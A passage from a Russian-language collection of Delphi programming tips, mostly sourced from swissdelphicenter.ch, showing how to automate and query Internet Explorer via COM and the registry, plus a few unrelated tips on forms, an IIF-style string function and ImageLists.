if spDisp = nil then Continue;
// QueryInterface determines if an interface can be used with an object
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
Document := WB.Document;
// count forms on document and iterate through its forms
for m := 0 to Document.forms.Length - 1 do
begin
ovElements := Document.forms.Item(m).elements;
// iterate through elements
for i := 0 to ovElements.Length - 1 do
begin
// when input fieldname is found, try to fill out
try
if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
(CompareText(ovElements.item(i).type, 'text') = 0) then
begin
ovElements.item(i).Value := 'FindWindow';
end;
except
end;
// when Submit button is found, try to click
try
if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
(CompareText(ovElements.item(i).type, 'SUBMIT') = 0) and
(ovElements.item(i).Value = 'Search') then // Suchen fьг German
begin
ovElements.item(i).Click;
end;
except
end;
end;
end;
end;
end;
end;
end;
end;
Как вызвать команды Find, Options или View Source.

Вот пример вызова диалога Find.
const
HTMLID_FIND = 1;
HTMLID_VIEWSOURCE = 2;
HTMLID_OPTIONS = 3;
...
procedure TForm1.FindIE;
const
CGID_WebBrowser: TGUID = '{ED016940-BD5B-11cf-BA4E-00C04FD70816}';
var
CmdTarget : IOleCommandTarget;
vaIn, vaOut: OleVariant;
PtrGUID: PGUID;
begin
New(PtrGUID);
PtrGUID^ := CGID_WebBrowser;
if WebBrowser1.Document <> nil then
try
WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);
if CmdTarget <> nil then
try
CmdTarget.Exec( PtrGUID, HTMLID_FIND, 0, vaIn, vaOut);
finally
CmdTarget._Release;
end;
except
// nothing
end;
Dispose(PtrGUID);
end;
|
Как автоматически заполнить поля формы в IE.
Автор: http://www.swissdelphicenter.ch
{
This example shows how to automatically fill in a search string
in the "Search Tip" page and click the search button.
}
uses
MSHTML_TLB;
// first navigate to tipspage
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('http://www.swissdelphicenter.ch/en/tipsuchen.php');
end;
// Try to access IE instance and fill out the search field with
// a text and click the search button
procedure TForm1.Button3Click(Sender: TObject);
var
hIE: HWND;
ShellWindow: IShellWindows;
WB: IWebbrowser2;
spDisp: IDispatch;
IDoc1: IHTMLDocument2;
Document: Variant;
k, m: Integer;
ovElements: OleVariant;
i: Integer;
begin
ShellWindow := CoShellWindows.Create;
// get the running instance of Internet Explorer
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then
Continue;
// QueryInterface determines if an interface can be used with an object
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
Document := WB.Document;
// count forms on document and iterate through its forms
for m := 0 to Document.forms.Length - 1 do
begin
ovElements := Document.forms.Item(m).elements;
// iterate through elements
for i := 0 to ovElements.Length - 1 do
begin
// when input fieldname is found, try to fill out
try
if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
(CompareText(ovElements.item(i).type, 'text') = 0) then
begin
ovElements.item(i).Value := 'FindWindow';
end;
except
end;
// when Submit button is found, try to click
try
if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
(CompareText(ovElements.item(i).type, 'SUBMIT') = 0) and
(ovElements.item(i).Value = 'Search') then
// Suchen fьг German
begin
ovElements.item(i).Click;
end;
except
end;
end;
end;
end;
end;
end;
end;
end;
Получить выделенный текст из окна IE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
SHDocVw_TLB; // http://www.euromind.com/iedelphi if don't have that unit
function GetSelectedIEtext: string;
var
x: Integer;
Sw: IShellWindows;
IE: HWND;
begin
IE := FindWindow('IEFrame', nil);
sw := CoShellWindows.Create;
for x := SW.Count - 1 downto 0 do
if (Sw.Item(x) as IWebbrowser2).hwnd = IE then begin
Result := variant(Sw.Item(x)).Document.Selection.createRange.Text;
break;
end;
end;
Прерывать сообщения Internet Explorer.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This component allows you to intercept Internet Explorer messages such as
"StatusTextChangeEvent", "DocumentCompleteEvent" and so on.
Mit folgende Komponente lassen sich Nachrichten wie
"StatusTextChangeEvent", "DocumentCompleteEvent" usw. von
Internet Explorer Fenstern abfangen.
}
//---- Component Source: Install this component first.
unit IEEvents;
interface
uses
Windows, SysUtils, Classes, Graphics, ComObj, ActiveX, SHDocVW;
type
// Event types exposed from the Internet Explorer interface
TIEStatusTextChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
TIEProgressChangeEvent = procedure(Sender: TObject; Progress: Integer; ProgressMax: Integer) of object;
TIECommandStateChangeEvent = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object;
TIEDownloadBeginEvent = procedure(Sender: TObject) of object;
TIEDownloadCompleteEvent = procedure(Sender: TObject) of object;
TIETitleChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
TIEPropertyChangeEvent = procedure(Sender: TObject; const szProperty: WideString) of object;
TIEBeforeNavigate2Event = procedure(Sender: TObject; const pDisp: IDispatch;
var URL: OleVariant; var Flags: OleVariant; var TargetFrameName: OleVariant;
var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool) of object;
TIENewWindow2Event = procedure(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool) of object;
TIENavigateComplete2Event = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
TIEDocumentCompleteEvent = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
TIEOnQuitEvent = procedure(Sender: TObject) of object;
TIEOnVisibleEvent = procedure(Sender: TObject; Visible: WordBool) of object;
TIEOnToolBarEvent = procedure(Sender: TObject; ToolBar: WordBool) of object;
TIEOnMenuBarEvent = procedure(Sender: TObject; MenuBar: WordBool) of object;
TIEOnStatusBarEvent = procedure(Sender: TObject; StatusBar: WordBool) of object;
TIEOnFullScreenEvent = procedure(Sender: TObject; FullScreen: WordBool) of object;
TIEOnTheaterModeEvent = procedure(Sender: TObject; TheaterMode: WordBool) of object;
// Event component for Internet Explorer
TIEEvents = class(TComponent, IUnknown, IDispatch)
private
// Private declarations
FConnected: Boolean;
FCookie: Integer;
FCP: IConnectionPoint;
FSinkIID: TGuid;
FSource: IWebBrowser2;
FStatusTextChange: TIEStatusTextChangeEvent;
FProgressChange: TIEProgressChangeEvent;
FCommandStateChange: TIECommandStateChangeEvent;
FDownloadBegin: TIEDownloadBeginEvent;
FDownloadComplete: TIEDownloadCompleteEvent;
FTitleChange: TIETitleChangeEvent;
FPropertyChange: TIEPropertyChangeEvent;
FBeforeNavigate2: TIEBeforeNavigate2Event;
FNewWindow2: TIENewWindow2Event;
FNavigateComplete2: TIENavigateComplete2Event;
FDocumentComplete: TIEDocumentCompleteEvent;
FOnQuit: TIEOnQuitEvent;
FOnVisible: TIEOnVisibleEvent;
FOnToolBar: TIEOnToolBarEvent;
FOnMenuBar: TIEOnMenuBarEvent;
FOnStatusBar: TIEOnStatusBarEvent;
FOnFullScreen: TIEOnFullScreenEvent;
FOnTheaterMode: TIEOnTheaterModeEvent;
protected
// Protected declaratios for IUnknown
function QueryInterface(const IID: TGUID; out Obj): HResult; override;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
// Protected declaratios for IDispatch
function GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount, LocaleID:
Integer; DispIDs: Pointer): HResult; virtual; stdcall;
function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; virtual; stdcall;
function GetTypeInfoCount(out Count: Integer): HResult; virtual; stdcall;
function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; virtual; stdcall;
// Protected declarations
procedure DoStatusTextChange(const Text: WideString); safecall;
procedure DoProgressChange(Progress: Integer; ProgressMax: Integer); safecall;
procedure DoCommandStateChange(Command: Integer; Enable: WordBool); safecall;
procedure DoDownloadBegin; safecall;
procedure DoDownloadComplete; safecall;
procedure DoTitleChange(const Text: WideString); safecall;
procedure DoPropertyChange(const szProperty: WideString); safecall;
procedure DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant;
var Flags: OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant;
var Headers: OleVariant; var Cancel: WordBool); safecall;
procedure DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool); safecall;
procedure DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant); safecall;
procedure DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant); safecall;
procedure DoOnQuit; safecall;
procedure DoOnVisible(Visible: WordBool); safecall;
procedure DoOnToolBar(ToolBar: WordBool); safecall;
procedure DoOnMenuBar(MenuBar: WordBool); safecall;
procedure DoOnStatusBar(StatusBar: WordBool); safecall;
procedure DoOnFullScreen(FullScreen: WordBool); safecall;
procedure DoOnTheaterMode(TheaterMode: WordBool); safecall;
public
// Public declarations
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure ConnectTo(Source: IWebBrowser2);
procedure Disconnect;
property SinkIID: TGuid read FSinkIID;
property Source: IWebBrowser2 read FSource;
published
// Published declarations
property WebObj: IWebBrowser2 read FSource;
property Connected: Boolean read FConnected;
property StatusTextChange: TIEStatusTextChangeEvent read FStatusTextChange write FStatusTextChange;
property ProgressChange: TIEProgressChangeEvent read FProgressChange write FProgressChange;
property CommandStateChange: TIECommandStateChangeEvent read FCommandStateChange write FCommandStateChange;
property DownloadBegin: TIEDownloadBeginEvent read FDownloadBegin write FDownloadBegin;
property DownloadComplete: TIEDownloadCompleteEvent read FDownloadComplete write FDownloadComplete;
property TitleChange: TIETitleChangeEvent read FTitleChange write FTitleChange;
property PropertyChange: TIEPropertyChangeEvent read FPropertyChange write FPropertyChange;
property BeforeNavigate2: TIEBeforeNavigate2Event read FBeforeNavigate2 write FBeforeNavigate2;
property NewWindow2: TIENewWindow2Event read FNewWindow2 write FNewWindow2;
property NavigateComplete2: TIENavigateComplete2Event read FNavigateComplete2 write FNavigateComplete2;
property DocumentComplete: TIEDocumentCompleteEvent read FDocumentComplete write FDocumentComplete;
property OnQuit: TIEOnQuitEvent read FOnQuit write FOnQuit;
property OnVisible: TIEOnVisibleEvent read FOnVisible write FOnVisible;
property OnToolBar: TIEOnToolBarEvent read FOnToolBar write FOnToolBar;
property OnMenuBar: TIEOnMenuBarEvent read FOnMenuBar write FOnMenuBar;
property OnStatusBar: TIEOnStatusBarEvent read FOnStatusBar write FOnStatusBar;
property OnFullScreen: TIEOnFullScreenEvent read FOnFullScreen write FOnFullScreen;
property OnTheaterMode: TIEOnTheaterModeEvent read FOnTheaterMode write FOnTheaterMode;
end;
// Register procedure
procedure Register;
implementation
function TIEEvents._AddRef: Integer;
begin
// No more than 2 counts
result := 2;
end;
function TIEEvents._Release: Integer;
begin
// Always maintain 1 ref count (component holds the ref count)
result := 1;
end;
function TIEEvents.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
// Clear interface pointer
Pointer(Obj) := nil;
// Attempt to get the requested interface
if (GetInterface(IID, Obj)) then
// Success
result := S_OK
// Check to see if the guid requested is for the event
else if (IsEqualIID(IID, FSinkIID)) then
begin
// Event is dispatch based, so get dispatch interface (closest we can come)
if (GetInterface(IDispatch, Obj)) then
// Success
result := S_OK
else
// Failure
result := E_NOINTERFACE;
end
else
// Failure
result := E_NOINTERFACE;
end;
function TIEEvents.GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount,
LocaleID: Integer; DispIDs: Pointer): HResult;
begin
// Not implemented
result := E_NOTIMPL;
end;
function TIEEvents.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult;
begin
// Clear the result interface
Pointer(TypeInfo) := nil;
// No type info for our interface
result := E_NOTIMPL;
end;
function TIEEvents.GetTypeInfoCount(out Count: Integer): HResult;
begin
// Zero type info counts
Count := 0;
// Return success
result := S_OK;
end;
function TIEEvents.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer; Flags: Word;
var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;
var pdpParams: PDispParams;
lpDispIDs: array[0..63] of TDispID;
dwCount: Integer;
begin
// Get the parameters
pdpParams := @Params;
// Events can only be called with method dispatch, not property get/set
if ((Flags and DISPATCH_METHOD) > 0) then
begin
// Clear DispID list
ZeroMemory(@lpDispIDs, SizeOf(lpDispIDs));
// Build dispatch ID list to handle named args
if (pdpParams^.cArgs > 0) then
begin
// Reverse the order of the params because they are backwards
for dwCount := 0 to Pred(pdpParams^.cArgs) do lpDispIDs[dwCount] := Pred(pdpParams^.cArgs) - dwCount;
// Handle named arguments
if (pdpParams^.cNamedArgs > 0) then
begin
for dwCount := 0 to Pred(pdpParams^.cNamedArgs) do
lpDispIDs[pdpParams^.rgdispidNamedArgs^[dwCount]] := dwCount;
end;
end;
// Unless the event falls into the "else" clause of the case statement the result is S_OK
result := S_OK;
// Handle the event
case DispID of
102: DoStatusTextChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
104: DoDownloadComplete;
105: DoCommandStateChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
pdpParams^.rgvarg^[lpDispIds[1]].vbool);
106: DoDownloadBegin;
108: DoProgressChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
pdpParams^.rgvarg^[lpDispIds[1]].lval);
112: DoPropertyChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
113: DoTitleChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
250: DoBeforeNavigate2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^,
POleVariant(pdpParams^.rgvarg^[lpDispIds[2]].pvarval)^,
POleVariant(pdpParams^.rgvarg^[lpDispIds[3]].pvarval)^,
POleVariant(pdpParams^.rgvarg^[lpDispIds[4]].pvarval)^,
POleVariant(pdpParams^.rgvarg^[lpDispIds[5]].pvarval)^,
pdpParams^.rgvarg^[lpDispIds[6]].pbool^);
251: DoNewWindow2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].pdispval^),
pdpParams^.rgvarg^[lpDispIds[1]].pbool^);
252: DoNavigateComplete2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
253:
begin
// Special case handler. When Quit is called, IE is going away so we might
// as well unbind from the interface by calling disconnect.
DoOnQuit;
// Call disconnect
Disconnect;
end;
254: DoOnVisible(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
255: DoOnToolBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
256: DoOnMenuBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
257: DoOnStatusBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
258: DoOnFullScreen(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
259: DoDocumentComplete(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
260: DoOnTheaterMode(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
else
// Have to idea of what event they are calling
result := DISP_E_MEMBERNOTFOUND;
end;
end
else
// Called with wrong flags
result := DISP_E_MEMBERNOTFOUND;
end;
constructor TIEEvents.Create(AOwner: TComponent);
begin
// Perform inherited
inherited Create(AOwner);
// Set the event sink IID
FSinkIID := DWebBrowserEvents2;
end;
destructor TIEEvents.Destroy;
begin
// Disconnect
Disconnect;
// Perform inherited
inherited Destroy;
end;
procedure TIEEvents.ConnectTo(Source: IWebBrowser2);
var pvCPC: IConnectionPointContainer;
begin
// Disconnect from any currently connected event sink
Disconnect;
// Query for the connection point container and desired connection point.
// On success, sink the connection point
OleCheck(Source.QueryInterface(IConnectionPointContainer, pvCPC));
OleCheck(pvCPC.FindConnectionPoint(FSinkIID, FCP));
OleCheck(FCP.Advise(Self, FCookie));
// Update internal state variables
FSource := Source;
// We are in a connected state
FConnected := True;
// Release the temp interface
pvCPC := nil;
end;
procedure TIEEvents.Disconnect;
begin
// Do we have the IWebBrowser2 interface?
if Assigned(FSource) then
begin
try
// Unadvise the connection point
OleCheck(FCP.Unadvise(FCookie));
// Release the interfaces
FCP := nil;
FSource := nil;
except
Pointer(FCP) := nil;
Pointer(FSource) := nil;
end;
end;
// Disconnected state
FConnected := False;
end;
procedure TIEEvents.DoStatusTextChange(const Text: WideString);
begin
// Call assigned event
if Assigned(FStatusTextChange) then FStatusTextChange(Self, Text);
end;
procedure TIEEvents.DoProgressChange(Progress: Integer; ProgressMax: Integer);
begin
// Call assigned event
if Assigned(FProgressChange) then FProgressChange(Self, Progress, ProgressMax);
end;
procedure TIEEvents.DoCommandStateChange(Command: Integer; Enable: WordBool);
begin
// Call assigned event
if Assigned(FCommandStateChange) then FCommandStateChange(Self, Command, Enable);
end;
procedure TIEEvents.DoDownloadBegin;
begin
// Call assigned event
if Assigned(FDownloadBegin) then FDownloadBegin(Self);
end;
procedure TIEEvents.DoDownloadComplete;
begin
// Call assigned event
if Assigned(FDownloadComplete) then FDownloadComplete(Self);
end;
procedure TIEEvents.DoTitleChange(const Text: WideString);
begin
// Call assigned event
if Assigned(FTitleChange) then FTitleChange(Self, Text);
end;
procedure TIEEvents.DoPropertyChange(const szProperty: WideString);
begin
// Call assigned event
if Assigned(FPropertyChange) then FPropertyChange(Self, szProperty);
end;
procedure TIEEvents.DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant; var Flags:
OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool);
begin
// Call assigned event
if Assigned(FBeforeNavigate2) then FBeforeNavigate2(Self, pDisp, URL, Flags, TargetFrameName, PostData, Headers, Cancel);
end;
procedure TIEEvents.DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool);
var
pvDisp: IDispatch;
begin
// Call assigned event
if Assigned(FNewWindow2) then
begin
if Assigned(ppDisp) then
pvDisp := ppDisp
else
pvDisp := nil;
FNewWindow2(Self, pvDisp, Cancel);
ppDisp := pvDisp;
end;
end;
procedure TIEEvents.DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant);
begin
// Call assigned event
if Assigned(FNavigateComplete2) then FNavigateComplete2(Self, pDisp, URL);
end;
procedure TIEEvents.DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant);
begin
// Call assigned event
if Assigned(FDocumentComplete) then FDocumentComplete(Self, pDisp, URL);
end;
procedure TIEEvents.DoOnQuit;
begin
// Call assigned event
if Assigned(FOnQuit) then FOnQuit(Self);
end;
procedure TIEEvents.DoOnVisible(Visible: WordBool);
begin
// Call assigned event
if Assigned(FOnVisible) then FOnVisible(Self, Visible);
end;
procedure TIEEvents.DoOnToolBar(ToolBar: WordBool);
begin
// Call assigned event
if Assigned(FOnToolBar) then FOnToolBar(Self, ToolBar);
end;
procedure TIEEvents.DoOnMenuBar(MenuBar: WordBool);
begin
// Call assigned event
if Assigned(FOnMenuBar) then FOnMenuBar(Self, MenuBar);
end;
procedure TIEEvents.DoOnStatusBar(StatusBar: WordBool);
begin
// Call assigned event
if Assigned(FOnStatusBar) then FOnStatusBar(Self, StatusBar);
end;
procedure TIEEvents.DoOnFullScreen(FullScreen: WordBool);
begin
// Call assigned event
if Assigned(FOnFullScreen) then FOnFullScreen(Self, FullScreen);
end;
procedure TIEEvents.DoOnTheaterMode(TheaterMode: WordBool);
begin
// Call assigned event
if Assigned(FOnTheaterMode) then FOnTheaterMode(Self, TheaterMode);
end;
procedure Register;
begin
// Register the component on the Internet tab of the IDE
RegisterComponents('Internet', [TIEEvents]);
end;
end.
--- Project source ----
//Notes: Add a button and the IEEvents component to Form1. The button1 click event
// shows how the IE enumeration is achieved, and shows how the binding is done:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IEEvents, StdCtrls, ActiveX, SHDocVw;
type
TForm1 = class(TForm)
IEEvents1: TIEEvents;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure IEEvents1Quit(Sender: TObject);
procedure IEEvents1DownloadBegin(Sender: TObject);
procedure IEEvents1DownloadComplete(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure IEEvents1ProgressChange(Sender: TObject; Progress,
ProgressMax: Integer);
private
{ Private declarations }
FTimeList: TList;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
pvShell: IShellWindows;
pvWeb2: IWebBrowser2;
ovIE: OleVariant;
dwCount: Integer;
begin
// Create the shell windows interface
pvShell := CoShellWindows.Create;
// Walk the internet explorer windows
for dwCount := 0 to Pred(pvShell.Count) do
begin
// Get the interface
ovIE := pvShell.Item(dwCount);
// At this point you can evaluate the interface (LocationUrl, etc)
// to decide if this is the one you want to connect to. For demo purposes,
// the code will bind to the first one
ShowMessage(ovIE.LocationURL);
// QI for the IWebBrowser2
if (IDispatch(ovIE).QueryInterface(IWebBrowser2, pvWeb2) = S_OK) then
begin
IEEvents1.ConnectTo(pvWeb2);
// Release the interface
pvWeb2 := nil;
end;
// Clear the variant
ovIE := Unassigned;
// Break if we connected
if IEEvents1.Connected then break;
end;
// Release the shell windows interface
pvShell := nil;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// Create the time list
FTimeList := TList.Create;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
// Free the time list
FTimeList.Free;
end;
procedure TForm1.IEEvents1DownloadBegin(Sender: TObject);
begin
// Add the current time to the list
FTimeList.Add(Pointer(GetTickCount));
end;
procedure TForm1.IEEvents1DownloadComplete(Sender: TObject);
var dwTime: LongWord;
begin
// Pull the top item off the list (make sure there is one)
if (FTimeList.Count > 0) then
begin
dwTime := LongWord(FTimeList[Pred(FTimeList.Count)]);
FTimeList.Delete(Pred(FTimeList.Count));
// Now calculate total based on current time
dwTime := GetTickCount - dwTime;
// Display a message showing total download time
ShowMessage(Format('Download time for "%s" was %d ms', [IEEvents1.WebObj.LocationURL, dwTime]));
end;
end;
procedure TForm1.IEEvents1Quit(Sender: TObject);
begin
ShowMessage('About to disconnect');
end;
procedure TForm1.IEEvents1ProgressChange(Sender: TObject; Progress,
ProgressMax: Integer);
begin
Caption := IntToStr(Progress);
end;
end.
Контролирование IE при помощи OLE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses Comobj;
{...}
var
Form1: TForm1;
IEApp: OLEVariant;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
IEApp := CreateOLEObject('InternetExplorer.Application');
IEApp.Visible := True;
IEApp.Top := 0;
IEApp.Left := 0;
IEApp.Width := Screen.Width;
IEApp.Height := Screen.Height;
IEApp.Navigate('http://www.swissdelphicenter.ch');
end;
{
To Close the Internet Explorer:
Um Internet Explorer beenden:
}
IEApp.Quit;
{
Some other methods:
Einige andere Methoden:
}
IEApp.GoForward
IEApp.GoBack
IEApp.GoHome
IEApp.Refresh
IEApp.Stop
IEApp.GoHome
IEApp.FullScreen := true;
{
To set some Properties:
Einige Eigenschaften setzen:
}
IEApp.StatusText := 'My Status Text';
{
IEApp.Path = Show Path to IE, Pfad anzeigen
IEApp.FullName = Full Path to IE, voller Pfad zum IE
IEApp.LocationURL = Get active Url, Aktuelle URL
}
Как добавить пункт в контекстное меню IE.
Автор: Mikel WEB-сайт: http://forum.vingrad.ruВ реестре по адресу:
HKEY_CURRENT_USER SOFTWARE Microsoft Internet Explorer MenuExt
Два параметра, посмотришь на другие-поймешь что они означают.
Обновить все окна программы Internet Explorer.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML_TLB, SHDocVw_TLB;
procedure TForm1.Button1Click(Sender: TObject);
var
ShellWindow: IShellWindows;
WB: IWebbrowser2;
spDisp: IDispatch;
IDoc1: IHTMLDocument2;
k: Integer;
begin
ShellWindow := CoShellWindows.Create;
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then Continue;
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
WB.Refresh;
end;
end;
end;
end;
Заставить IE перечитать установки из реестра.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
I've written a small app that modifies a setting for IE and need to somehow tell
IE to re-read the registry settings.
Does anyone know of an API call or message that will do this?
}
uses
WinInet;
procedure IE_Reread_Registry_Settings;
var
HInet: HINTERNET;
begin
hInet := InternetOpen(PChar('YourAppName'), INTERNET_OPEN_TYPE_DIRECT,
nil, nil, INTERNET_FLAG_OFFLINE);
try
if hInet <> nil then
InternetSetOption(hInet, INTERNET_OPTION_SETTINGS_CHANGED, nil, 0);
finally
InternetCloseHandle(hInet);
end;
end;
Как прочитать или изменить StartPage IE.
Автор: http://www.swissdelphicenter.ch
uses
{...,} Registry;
function GetIEStartPage: string;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
try
Result := Reg.ReadString('Start Page');
except
Result := '';
end;
Reg.CloseKey;
finally
Reg.Free;
end;
end;
function SetIEStartPage(APage: string): Boolean;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
try
Reg.WriteString('Start Page', APage);
Result := True;
finally
Reg.CloseKey;
Result := False;
end;
finally
Reg.Free;
end;
end;
// Show the Startpage
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetIEStartPage);
end;
// Set the Startpage
procedure TForm1.Button2Click(Sender: TObject);
begin
SetIEStartPage('http://forum.vingrad.ru');
end;
Получить версию IE.
| У программиста спросили: - Почему ваши дети все время ссорятся? - Конфликт версий. |
uses
Registry;
function GetIEVersion(Key: string): string;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Internet Explorer', False);
try
Result := Reg.ReadString(Key);
except
Result := '';
end;
Reg.CloseKey;
finally
Reg.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('IE-Version: ' + GetIEVersion('Version')[1] + '.'
+ GetIEVersion('Version')[3]);
ShowMessage('IE-Version: ' + GetIEVersion('Version'));
// <major version>.<minor version>.<build number>.<sub-build number>
end;
|
Условие создания главной формы.
Автор: Neil Rubenking Существует ли в Delphi возможность создавать главную форму по условию? Я хочу использовать условие IF (в зависимости от передаваемого параметра) для того, чтобы определить какая форма будет главной при старте приложения. Фактически "другую" форму НЕ нужно будет загружать.Хитрость здесь заключается в том, что мы предоставляем компилятору весь необходимый для создания форм код, но не допускаем его выполнения (IF FALSE THEN), при этом компилятор не ругается, а мы тем временем (во время выполнения приложения) выбираем и создаем главную форму. Вот пример кода, измененный .DPR-файл, который при старте случайным образом выбирает из друх форм главную:
begin
if FALSE then
begin
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
end;
Randomize;
if Random < 0.5 then
Application.CreateForm(TForm1, Form1)
else
Application.CreateForm(TForm2, Form2);
Application.Run;
end.
|
Пара "подходящих" для CreateForm форм заключено в никогда не выполнимый блок, тем самым приводя компилятор в состояние свинячего восторга.
Получение одной строки из двух (функция подобная IIF в Foxpro).
Автор: Юрий WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение одной строки из двух (функция подобная IIF в Foxpro)
Функция подобная IIF в Foxpro возвращает одно из двух значений
Зависимости: нет
Автор: Юрий, kynnew@pisem.net, Могилев
Copyright: собственная
Дата: 26 апреля 2002 г.
***************************************************** }
// возвращает строку
function IIFStr(Expr: Boolean; Par1, Par2: string): string;
begin
if Expr then
Result := Par1
else
Result := Par2;
end;
Пример использования:
a = 5 IIFStr(a <> 0; 'Первая строка', 'Вторая строка'): string; Result = Первая строка;
Перемещение иконок между несколькими TImageLists.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
ico: TIcon;
begin
ico := TIcon.Create;
try
Imagelist1.GetIcon(0, ico); // Get first icon from Imagelist1
Imagelist2.AddIcon(ico); // Add the icon to Imagelist2
finally
ico.Free;
end;
end;
Сохранить TImageList в файл со всеми картинками.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// There are ready-made methods for saving any component including all its children to a file.
// For writing components use WriteComponentResFile(path + source filename , component name source)
WriteComponentResFile('C:\imagelist1.bin',imagelist1);
// For reading the data back to a component:
// component := ReadComponentResFile(path + source filename , component name traget)
imagelist1 := ReadComponentResFile('c:\imagelist1.bin', nil) as TImagelist;
// Tip 1 - Reading the component will give the same name of the component written so don't try to
// load it to another component, even if it was the same type. You will get a duplicate name and
// delphi will crash. But you can jump over this as a programmer
// Tip 2 - Get benfit of storing the heavy components inside compressed files,
// so you can get smaller programs
Элементы меню на основе изображений.
